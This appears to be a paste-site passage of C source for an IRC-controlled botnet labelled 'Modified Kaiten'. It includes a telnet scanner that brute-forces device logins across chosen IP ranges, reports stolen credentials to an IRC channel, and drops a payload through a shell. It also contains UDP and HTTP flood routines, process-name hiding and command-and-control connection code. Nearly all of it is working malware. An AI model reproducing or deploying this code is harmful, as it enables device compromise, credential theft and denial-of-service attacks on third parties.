- szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 147)
- {
- szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 148)
- {
- szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 149)
- {
- szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 150)
- {
- szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 151)
- {
- szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 152)
- {
- szprintf(ip, "49.149.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 153)
- {
- szprintf(ip, "58.69.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 154)
- {
- szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 155)
- {
- szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 156)
- {
- szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 157)
- {
- szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 158)
- {
- szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 159)
- {
- szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 160)
- {
- szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 161)
- {
- szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 162)
- {
- szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 163)
- {
- szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 164)
- {
- szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 165)
- {
- szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 166)
- {
- szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 167)
- {
- szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 168)
- {
- szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 169)
- {
- szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 170)
- {
- szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 171)
- {
- szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 172)
- {
- szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 173)
- {
- szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 174)
- {
- szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 175)
- {
- szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 176)
- {
- szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 177)
- {
- szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 178)
- {
- szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 179)
- {
- szprintf(ip, "76.9.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 180)
- {
- szprintf(ip, "103.82.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 181)
- {
- szprintf(ip, "27.124.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 182)
- {
- szprintf(ip, "112.200.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 183)
- {
- szprintf(ip, "112.201.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 184)
- {
- szprintf(ip, "112.202.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 185)
- {
- szprintf(ip, "112.203.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 186)
- {
- szprintf(ip, "112.204.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 187)
- {
- szprintf(ip, "112.205.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 188)
- {
- szprintf(ip, "112.206.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 189)
- {
- szprintf(ip, "112.207.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 190)
- {
- szprintf(ip, "112.208.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 191)
- {
- szprintf(ip, "112.209.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 192)
- {
- szprintf(ip, "112.210.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 193)
- {
- szprintf(ip, "112.%d.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 194)
- {
- szprintf(ip, "114.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
- }
- if(randnum == 195)
- {
- szprintf(ip, "115.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
- }
- if(randnum == 196)
- {
- szprintf(ip, "117.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
- }
- if(randnum == 197)
- {
- szprintf(ip, "1.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
- }
- if(randnum == 198)
- {
- szprintf(ip, "111.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
- }
- if(randnum == 199)
- {
- szprintf(ip, "116.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
- }
- if(randnum == 200)
- {
- szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 201)
- {
- szprintf(ip, "78.180.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 202)
- {
- szprintf(ip, "78.181.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 203)
- {
- szprintf(ip, "78.182.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 204)
- {
- szprintf(ip, "78.183.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 205)
- {
- szprintf(ip, "78.184.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 206)
- {
- szprintf(ip, "78.185.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 207)
- {
- szprintf(ip, "95.6.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 208)
- {
- szprintf(ip, "78.162.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 209)
- {
- szprintf(ip, "78.160.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 210)
- {
- szprintf(ip, "85.101.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 211)
- {
- szprintf(ip, "88.224.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 212)
- {
- szprintf(ip, "88.226.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 213)
- {
- szprintf(ip, "88.228.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 214)
- {
- szprintf(ip, "212.156.%d.%d", ipState[3], ipState[4]);
- }
- if(randnum == 215)
- {
- szprintf(ip, "88.233.%d.%d", ipState[3], ipState[4]);
- }
- return inet_addr(ip);
- }
- struct telstate_t
- {
- int fd;
- unsigned int ip;
- unsigned char state;
- unsigned char complete;
- unsigned char usernameInd;
- unsigned char passwordInd;
- unsigned char tempDirInd;
- unsigned int totalTimeout;
- unsigned short bufUsed;
- char *sockbuf;
- };
- const char* get_telstate_host(struct telstate_t* telstate)
- {
- struct in_addr in_addr_ip;
- in_addr_ip.s_addr = telstate->ip;
- return inet_ntoa(in_addr_ip);
- }
- int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char **strings)
- {
- int num_bytes, i;
- memset(buffer, 0, buf_size);
- num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
- if(buffer[0] == 0xFF)
- {
- negotiate(fd, buffer, 3);
- }
- if(contains_string(buffer, strings))
- {
- return 1;
- }
- return 0;
- }
- int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
- {
- fd_set read_set;
- struct timeval tv;
- tv.tv_sec = 0;
- tv.tv_usec = timeout_usec;
- FD_ZERO(&read_set);
- FD_SET(fd, &read_set);
- if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
- return 0;
- return recv(fd, buffer, buf_size, 0);
- }
- int contains_fail(char* buffer)
- {
- return contains_string(buffer, fails);
- }
- int contains_string(char* buffer, char** strings)
- {
- int num_strings = 0, i = 0;
- for(num_strings = 0; strings[++num_strings] != 0; );
- for(i = 0; i < num_strings; i++)
- {
- if(strcasestr(buffer, strings[i]))
- {
- return 1;
- }
- }
- return 0;
- }
- int contains_success(char* buffer)
- {
- return contains_string(buffer, successes);
- }
- void StartTheLelz() {
- Send(sock,"PRIVMSG %s :Starting Scanner.\n",chan);
- int i, res, j, wait_usec = 10, max = 512;
- char buf[128], cur_dir;
- fd_set fdset;
- struct timeval tv;
- socklen_t lon;
- srand(time(NULL) ^ rand_cmwc());
- int valopt;
- char line[256];
- char* buffer;
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(23);
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- buffer = malloc(512 + 1);
- memset(buffer, 0, 512 + 1);
- struct telstate_t fds[max];
- memset(fds, 0, max * (sizeof(int) + 1));
- for(i = 0; i < max; i++) {
- memset(&(fds[i]), 0, sizeof(struct telstate_t));
- fds[i].complete = 1;
- fds[i].sockbuf = buffer; }
- while(1) {
- for(i = 0; i < max; i++) {
- if(fds[i].totalTimeout == 0) {
- fds[i].totalTimeout = time(NULL); }
- switch(fds[i].state) {
- case 0: {
- if(fds[i].complete == 1) {
- char *tmp = fds[i].sockbuf;
- memset(&(fds[i]), 0, sizeof(struct telstate_t));
- fds[i].sockbuf = tmp;
- fds[i].ip = HackerScan2(); }
- else if(fds[i].complete == 0) {
- fds[i].passwordInd++;
- fds[i].usernameInd++;
- if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
- fds[i].complete = 1;
- continue; }
- if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
- fds[i].complete = 1;
- continue;
- }
- }
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(23);
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- dest_addr.sin_addr.s_addr = fds[i].ip;
- fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
- if(fds[i].fd == -1) continue;
- fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
- if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
- sclose(fds[i].fd);
- fds[i].complete = 1; }
- else {
- fds[i].state = 1;
- fds[i].totalTimeout = 0;
- }
- }
- break;
- case 1:
- {
- FD_ZERO(&fdset);
- FD_SET(fds[i].fd, &fdset);
- tv.tv_sec = 0;
- tv.tv_usec = wait_usec;
- res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
- if(res == 1) {
- lon = sizeof(int);
- valopt = 0;
- getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
- if(valopt) {
- sclose(fds[i].fd);
- fds[i].state = 0;
- fds[i].complete = 1;
- } else {
- fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
- fds[i].totalTimeout = 0;
- fds[i].bufUsed = 0;
- memset(fds[i].sockbuf, 0, 1024);
- fds[i].state = 2;
- } continue; }
- else if(res == -1) {
- sclose(fds[i].fd);
- fds[i].state = 0;
- fds[i].complete = 1;
- continue; }
- if(fds[i].totalTimeout + 6 < time(NULL)) {
- sclose(fds[i].fd);
- fds[i].state = 0;
- fds[i].complete = 1;
- }
- }
- break;
- case 2:
- {
- if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, advances)) {
- if(contains_fail(fds[i].sockbuf)) {
- fds[i].state = 0;
- } else {
- fds[i].state = 3; }
- continue; }
- if(fds[i].totalTimeout + 6 < time(NULL)) {
- fds[i].state = 0;
- fds[i].complete = 1;
- }
- }
- break;
- case 3: {
- if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
- fds[i].state = 0;
- fds[i].complete = 1;
- continue; }
- if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
- fds[i].state = 0;
- fds[i].complete = 1;
- continue; }
- fds[i].state = 4; }
- break;
- case 4:
- {
- if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, advances))
- {
- if(contains_fail(fds[i].sockbuf)) {
- fds[i].state = 0;
- } else {
- fds[i].state = 5; }
- continue; }
- if(fds[i].totalTimeout + 6 < time(NULL)) {
- fds[i].state = 0;
- fds[i].complete = 1;
- }
- }
- break;
- case 5:
- {
- if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
- fds[i].state = 0;
- fds[i].complete = 1;
- continue; }
- if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
- fds[i].state = 0;
- fds[i].complete = 1;
- continue; }
- fds[i].state = 6;
- }
- break;
- case 6:
- {
- if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, 512, advances2)) {
- fds[i].totalTimeout = time(NULL);
- if(contains_fail(fds[i].sockbuf)) {
- fds[i].state = 0; }
- else if(contains_success(fds[i].sockbuf)) {
- if(fds[i].complete == 2) {
- fds[i].state = 7; }
- else {
- Send(sock,"PRIVMSG %s :Found Login %s:%s:%s\n",chan, get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
- fds[i].state = 7; }
- } else {
- fds[i].state = 0;
- fds[i].complete = 1;
- } continue; }
- if(fds[i].totalTimeout + 7 < time(NULL)) {
- fds[i].state = 0;
- fds[i].complete = 1;
- }
- }
- break;
- case 7: {
- if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) {
- fds[i].state = 0;
- fds[i].complete = 1;
- continue; }
- fds[i].state = 8;
- }
- break;
- case 8: {
- fds[i].totalTimeout = time(NULL);
- if(send(fds[i].fd, payload, strlen(payload), MSG_NOSIGNAL) < 0) {
- sclose(fds[i].fd);
- fds[i].state = 0;
- fds[i].complete = 1;
- continue; }
- fds[i].complete = 3;
- if(fds[i].totalTimeout + 60 < time(NULL)) {
- if(fds[i].complete !=3){
- }
- fds[i].state = 0;
- fds[i].complete = 1;
- }
- break;
- }
- }
- }
- }
- }
- void scanneroff() {
- if(scanPid == 0) return;
- kill(scanPid, 9);
- scanPid = 0;
- }
- void scanneron() {
- if(scanPid != 0) return;
- uint32_t parent;
- parent = fork();
- if (parent > 0) { scanPid = parent; return;}
- else if(parent == -1) return;
- StartTheLelz();
- exit(0);
- }
- void stop(int sock, char *sender, int argc, char **argv){
- unsigned long i;
- for (i=0;i<numpids;i++) {
- if (pids[i] != 0 && pids[i] != getpid()) {
- if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
- kill(pids[i],9);
- }
- }
- }
- //STD Attack
- void std(int sock, char *sender, int argc, char **argv) {
- if (mfork(sender) != 0) return;
- unsigned long secs;
- int iSTD_Sock;
- iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
- time_t start = time(NULL);
- secs = atol(argv[3]);
- Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
- struct sockaddr_in sin;
- struct hostent *hp;
- hp = gethostbyname(argv[1]);
- bzero((char*) &sin,sizeof(sin));
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = atol(argv[2]);
- unsigned int a = 0;
- while(1){
- if (a >= 50)
- {
- char *hacken = makestring();
- send(iSTD_Sock, hacken, 55, 0);
- connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
- if (time(NULL) >= start + secs)
- {
- Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
- close(iSTD_Sock);
- exit(0);
- }
- a = 0;
- }
- a++;
- }
- }
- void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power)
- {
- int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
- char request[512], buffer[1];
- for (i = 0; i < power; i++)
- {
- sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 15)]);
- if (fork())
- {
- while (end > time(NULL))
- {
- socket = socket_connect(host, port);
- if (socket != 0)
- {
- write(socket, request, strlen(request));
- read(socket, buffer, 1);
- close(socket);
- }
- }
- exit(0);
- }
- }
- }
- void http(int sock, char *sender, int argc, char **argv) {
- if (mfork(sender) != 0)
- Send(sock,"NOTICE %s :SL7 %s Flooding %s:%s for %s second(s)\n",sender,argv[1],argv[2],argv[3],argv[5]);
- sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
- exit(0);
- }
- //Kill the bot
- void killsec(int sock, char *sender, int argc, char **argv) {
- if(strcasecmp(adminuser1,sender) == 0){
- kill(0,9);
- } else {
- Send(sock,"PRIVMSG %s :Nice try...\n", chan);
- }
- }
- struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
- { "+std", std },
- { "+http", http },
- { "+stop", stop },
- { "+scanner", scanneron },
- { "+stopscan", scanneroff },
- { "+killboats", killsec },
- { (char *)0, (void (*)(int,char *,int,char **))0 } };
- void _PRIVMSG(int sock, char *sender, char *str) {
- int i;
- char *to, *message;
- for (i=0;i<strlen(str) && str[i] != ' ';i++);
- str[i]=0;
- to=str;
- message=str+i+2;
- for (i=0;i<strlen(sender) && sender[i] != '!';i++);
- sender[i]=0;
- if (*message == '>' && !strcasecmp(to,chan)) {
- char *params[12], name[1024]={0};
- int num_params=0, m;
- message++;
- for (i=0;i<strlen(message) && message[i] != ' ';i++);
- message[i]=0;
- if (strwildmatch(message,nick)) return;
- message+=i+1;
- m=strlen(message);
- for (i=0;i<m;i++) {
- if (*message == ' ' || *message == 0) break;
- name[i]=*message;
- message++;
- }
- for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
- num_params++;
- if (num_params > 10) num_params=10;
- params[0]=name;
- params[num_params+1]="\0";
- m=1;
- while (*message != 0) {
- message++;
- if (m >= num_params) break;
- for (i=0;i<strlen(message) && message[i] != ' ';i++);
- params[m]=(char*)malloc(i+1);
- strncpy(params[m],message,i);
- params[m][i]=0;
- m++;
- message+=i;
- }
- for (m=0; flooders[m].cmd != (char *)0; m++) {
- if (!strcasecmp(flooders[m].cmd,name)) {
- flooders[m].func(sock,sender,num_params-1,params);
- for (i=1;i<num_params;i++) free(params[i]);
- return;
- }
- }
- }
- }
- void _376(int sock, char *sender, char *str) {
- Send(sock,"MODE %s +pixB\n",nick);
- Send(sock,"JOIN %s :%s\n",chan,key);
- Send(sock,"WHO %s\n",nick);
- }
- void _PING(int sock, char *sender, char *str) {
- Send(sock,"PONG %s\n",str);
- }
- void _352(int sock, char *sender, char *str) {
- int i,d;
- char *msg=str;
- struct hostent *hostm;
- unsigned long m;
- for (i=0,d=0;d<5;d++) {
- for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
- if (i == strlen(str)) return;
- }
- for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
- msg[i]=0;
- if (!strcasecmp(msg,nick) && !spoofsm) {
- msg=str;
- for (i=0,d=0;d<3;d++) {
- for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
- if (i == strlen(str)) return;
- }
- for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
- msg[i]=0;
- if ((m = inet_addr(msg)) == -1) {
- if ((hostm=gethostbyname(msg)) == NULL) {
- return;
- }
- memcpy((char*)&m, hostm->h_addr, hostm->h_length);
- }
- ((char*)&spoofs)[3]=((char*)&m)[0];
- ((char*)&spoofs)[2]=((char*)&m)[1];
- ((char*)&spoofs)[1]=((char*)&m)[2];
- ((char*)&spoofs)[0]=0;
- spoofsm=256;
- }
- }
- void _433(int sock, char *sender, char *str) {
- free(nick);
- char tempnick[50];
- char *strpref = PREFIX;
- char *genname = makestring();
- strcpy(tempnick,strpref);
- strcat(tempnick,genname);
- nick=tempnick;
- }
- struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
- { "352", _352 },
- { "376", _376 },
- { "433", _433 },
- { "422", _376 },
- { "PRIVMSG", _PRIVMSG },
- { "PING", _PING },
- { (char *)0, (void (*)(int,char *,char *))0 } };
- void con() {
- struct sockaddr_in srv;
- unsigned long ipaddr,start;
- int flag;
- struct hostent *hp;
- start:
- sock=-1;
- flag=1;
- if (changeservers == 0) server=servers[rand()%numservers];
- changeservers=0;
- while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
- if (inet_addr(server) == 0 || inet_addr(server) == -1) {
- if ((hp = gethostbyname(server)) == NULL) {
- server=NULL;
- close(sock);
- goto start;
- }
- bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
- }
- else srv.sin_addr.s_addr=inet_addr(server);
- srv.sin_family = AF_INET;
- srv.sin_port = htons(6667);
- ioctl(sock,FIONBIO,&flag);
- start=time(NULL);
- while(time(NULL)-start < 10) {
- errno=0;
- if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
- setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
- setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
- setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
- return;
- }
- if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
- sleep(1);
- }
- server=NULL;
- close(sock);
- goto start;
- }
- int main(int argc, char *argv[]) {
- int on,i;
- char cwd[256],*str;
- FILE *file;
- if (fork()) exit(0);
- char *mynameis;
- if(access("/usr/bin/python", F_OK) != -1){
- mynameis = makestring();
- } else {
- mynameis = makestring();
- }
- strncpy(argv[0],"",strlen(argv[0]));
- sprintf(argv[0], mynameis);
- prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
- srand((time(NULL) ^ getpid()) + getppid());
- char tempnick[50];
- char *strpref = PREFIX;
- char *genname = makestring();
- strcpy(tempnick,strpref);
- strcat(tempnick,genname);
- nick=tempnick;
- ident="Linuxx";
- user="Modified Kaiten";
- chan=CHAN;
- key=KEY;
- pass=PASS;
- server=NULL;
- sa:
- #ifdef IDENT
- for (i=0;i<numpids;i++) {
- if (pids[i] != 0 && pids[i] != getpid()) {
- kill(pids[i],9);
- waitpid(pids[i],NULL,WNOHANG);
- }
- }
- pids=NULL;
- numpids=0;
- identd();
- #endif
- con();
- Send(sock,"PASS %s\n", pass);
- Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
- while(1) {
- unsigned long i;
- fd_set n;
- struct timeval tv;
- FD_ZERO(&n);
- FD_SET(sock,&n);
- tv.tv_sec=60*20;
- tv.tv_usec=0;
- if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
- for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
- unsigned int *newpids,on;
- for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
- pids[on-1]=0;
- numpids--;
- newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
- for (on=0;on<numpids;on++) newpids[on]=pids[on];
- free(pids);
- pids=newpids;
- }
- if (FD_ISSET(sock,&n)) {
- char buf[4096], *str;
- int i;
- if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
- buf[i]=0;
- str=strtok(buf,"\n");
- while(str && *str) {
- char name[1024], sender[1024];
- filter(str);
- if (*str == ':') {
- for (i=0;i<strlen(str) && str[i] != ' ';i++);
- str[i]=0;
- strcpy(sender,str+1);
- strcpy(str,str+i+1);
- }
- else strcpy(sender,"*");
- for (i=0;i<strlen(str) && str[i] != ' ';i++);
- str[i]=0;
- strcpy(name,str);
- strcpy(str,str+i+1);
- for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
- if (!strcasecmp(name,"ERROR")) goto sa;
- str=strtok((char*)NULL,"\n");
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement